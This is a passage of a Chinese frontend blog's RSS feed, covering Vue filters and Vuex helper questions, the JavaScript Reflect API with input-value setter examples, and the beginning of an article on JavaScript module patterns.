&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;deepClone&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;parse&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;JSON&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;stringify&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="3-vue-的过滤器filters"&gt;&lt;strong&gt;3. Vue 的过滤器（Filters）&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题-2"&gt;&lt;strong&gt;问题：&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Vue 中的过滤器有什么作用？举个例子说明。&lt;/li&gt;
&lt;li&gt;过滤器和工具函数有何区别，何时使用过滤器，何时使用工具函数？&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="考察点-2"&gt;&lt;strong&gt;考察点：&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue 过滤器&lt;/strong&gt;： 过滤器是用于格式化输出数据的一种工具，在 Vue 模板中可以直接使用，但仅适用于模板中的数据绑定。常用的场景是格式化日期、数字等。&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;filter&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;currency&amp;#39;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;$&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;toFixed&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 在模板中使用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{ &lt;span style="color:#a6e22e"&gt;price&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;currency&lt;/span&gt; }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工具函数与过滤器的区别&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;过滤器&lt;/strong&gt;：通常用于模板中，只能格式化输出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;工具函数&lt;/strong&gt;：可以在组件的任何地方使用，提供更强的逻辑处理能力，适合更复杂的功能（如数据计算、事件管理等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="4-vuex-与工具函数"&gt;&lt;strong&gt;4. Vuex 与工具函数&lt;/strong&gt;&lt;/h3&gt;
&lt;h4 id="问题-3"&gt;&lt;strong&gt;问题：&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;如何通过工具函数简化 Vuex 的一些操作？&lt;/li&gt;
&lt;li&gt;你会如何编写一个工具函数来帮助管理 Vuex 中的 getter、mutation 或 action？&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="考察点-3"&gt;&lt;strong&gt;考察点：&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;在 Vuex 中，常常需要对数据进行集中管理。可以通过工具函数来简化 Vuex 操作，避免重复代码。&lt;/p&gt;</description></item><item><title>Reflect</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/reflect/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/reflect/</guid><description>&lt;h3 id="一reflect有什么用"&gt;一、Reflect有什么用？&lt;/h3&gt;
&lt;p&gt;一句话，Reflect没什么用，除了装装逼，让人看起来高大上以外，并不具有什么牛逼之处。&lt;/p&gt;
&lt;p&gt;准确讲应该是这样的，Reflect更像是一种语法变体，其挂在的所有方法都能找到对应的原始语法，也就是Reflect的替代性非常强。&lt;/p&gt;
&lt;p&gt;其实从Reflect这个单词本身字面意思就能体会出Reflect的神韵，Reflect的中文意思是“反射”，阳光照在镜子上反射，其实光子还是那些光子，只是变化了方向。&lt;/p&gt;
&lt;p&gt;举例说明：&lt;/p&gt;
&lt;p&gt;Reflect对象挂载了很多静态方法，所谓静态方法，就是和&lt;code&gt;Math.round()&lt;/code&gt;这样，不需要new就可以直接使用的方法。&lt;/p&gt;
&lt;p&gt;比较常用的两个方法就是&lt;code&gt;get()&lt;/code&gt;和&lt;code&gt;set()&lt;/code&gt;方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Reflect&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;propertyKey&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\&lt;/span&gt;[, &lt;span style="color:#a6e22e"&gt;receiver&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Reflect&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;propertyKey&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\&lt;/span&gt;[, &lt;span style="color:#a6e22e"&gt;receiver&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;就作用而言，等同于：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;propertyKey&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;[&lt;span style="color:#a6e22e"&gt;propertyKey&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;比方说页面上有个输入框，其DOM对象变量是&lt;code&gt;input&lt;/code&gt;，平时我们对整个输入框赋值使用的语句多半是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;zhangxinxu&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;就可以直接使用&lt;code&gt;Reflect.set()&lt;/code&gt;方法代替：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Reflect&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;zhangxinxu&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果是一模一样的。&lt;/p&gt;
&lt;p&gt;又例如，我们希望对&lt;code&gt;input&lt;/code&gt;的&lt;code&gt;value&lt;/code&gt;属性重新定义，使该输入框&lt;code&gt;value&lt;/code&gt;属性发生变化的时候可以同时触发&lt;code&gt;'change'&lt;/code&gt;事件，下面是使用大家普遍比较熟悉的&lt;code&gt;Object.defineProperty()&lt;/code&gt;方法实现的示意：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Object.&lt;span style="color:#a6e22e"&gt;getOwnPropertyDescriptor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Object.&lt;span style="color:#a6e22e"&gt;defineProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldv&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 手动触发change事件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;oldv&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dispatchEvent&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CustomEvent&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;change&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上述代码我们完全可以使用Reflect对象实现，具体的JavaScript代码如下所示。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Reflect&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;getOwnPropertyDescriptor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;HTMLInputElement&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;prototype&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Reflect&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;defineProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;value&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;set&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;oldv&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;set&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;call&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 手动触发change事件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;oldv&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dispatchEvent&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CustomEvent&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;change&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们可以测试下，假设页面HTML如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;input&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;测试代码为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;change&amp;#39;&lt;/span&gt;, () =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;append&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;变化啦~&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;zhangxinxu&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此时，就可以看到页面上出现了“变化啦~”文字&lt;/p&gt;</description></item><item><title>模块化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-015/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-015/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;在JavaScript发展初期就是为了实现简单的页面交互逻辑，寥寥数语即可；如今CPU、浏览器性能得到了极大的提升，很多页面逻辑迁移到了客户端（表单验证等），随着web2.0时代的到来，Ajax技术得到广泛应用，jQuery等前端库层出不穷，前端代码日益膨胀，此时在JS方面就会考虑使用模块化规范去管理。 本文内容主要有理解模块化，为什么要模块化，模块化的优缺点以及模块化规范,并且介绍下开发中最流行的CommonJS, AMD, ES6、CMD规范。&lt;/p&gt;
&lt;p&gt;本文试图站在小白的角度，用通俗易懂的笔调介绍这些枯燥无味的概念，希望诸君阅读后，对模块化编程有个全新的认识和理解！&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-015/image-01.png"&gt;&lt;/p&gt;
&lt;h2 id="一模块化的理解"&gt;一、模块化的理解&lt;/h2&gt;
&lt;h3 id="1什么是模块"&gt;1.什么是模块?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起&lt;/li&gt;
&lt;li&gt;块的内部数据与实现是私有的, 只是向外部暴露一些接口(方法)与外部其它模块通信&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2模块化的进化过程"&gt;2.模块化的进化过程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全局function模式 : 将不同的功能封装成不同的全局函数&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;编码: 将不同的功能封装成不同的全局函数&lt;/li&gt;
&lt;li&gt;问题: 污染全局命名空间, 容易引起命名冲突或数据不安全，而且模块成员之间看不出直接关系&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; m1&lt;span style="color:#f92672"&gt;(){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; m2&lt;span style="color:#f92672"&gt;(){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;namespace模式 : 简单对象封装&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;作用: 减少了全局变量，解决命名冲突&lt;/li&gt;
&lt;li&gt;问题: 数据不安全(外部可以直接修改模块内部的数据)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;let myModule &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; data: &lt;span style="color:#e6db74"&gt;&amp;#39;www.baidu.com&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;this.data&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bar&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;bar&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;this.data&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;myModule.data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;other data&amp;#39;&lt;/span&gt; //能直接修改模块内部的数据
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;myModule.foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; // foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; other data
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样的写法会暴露所有模块成员，内部状态可以被外部改写。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IIFE模式：匿名函数自调用(闭包)&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;作用: 数据是私有的, 外部只能通过暴露的方法操作&lt;/li&gt;
&lt;li&gt;编码: 将数据和行为封装到一个函数内部, 通过给window添加属性来向外暴露接口&lt;/li&gt;
&lt;li&gt;问题: 如果当前这个模块依赖另一个模块怎么办?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// index.html文件
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;script type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt; src&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;module.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;script type&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myModule.foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
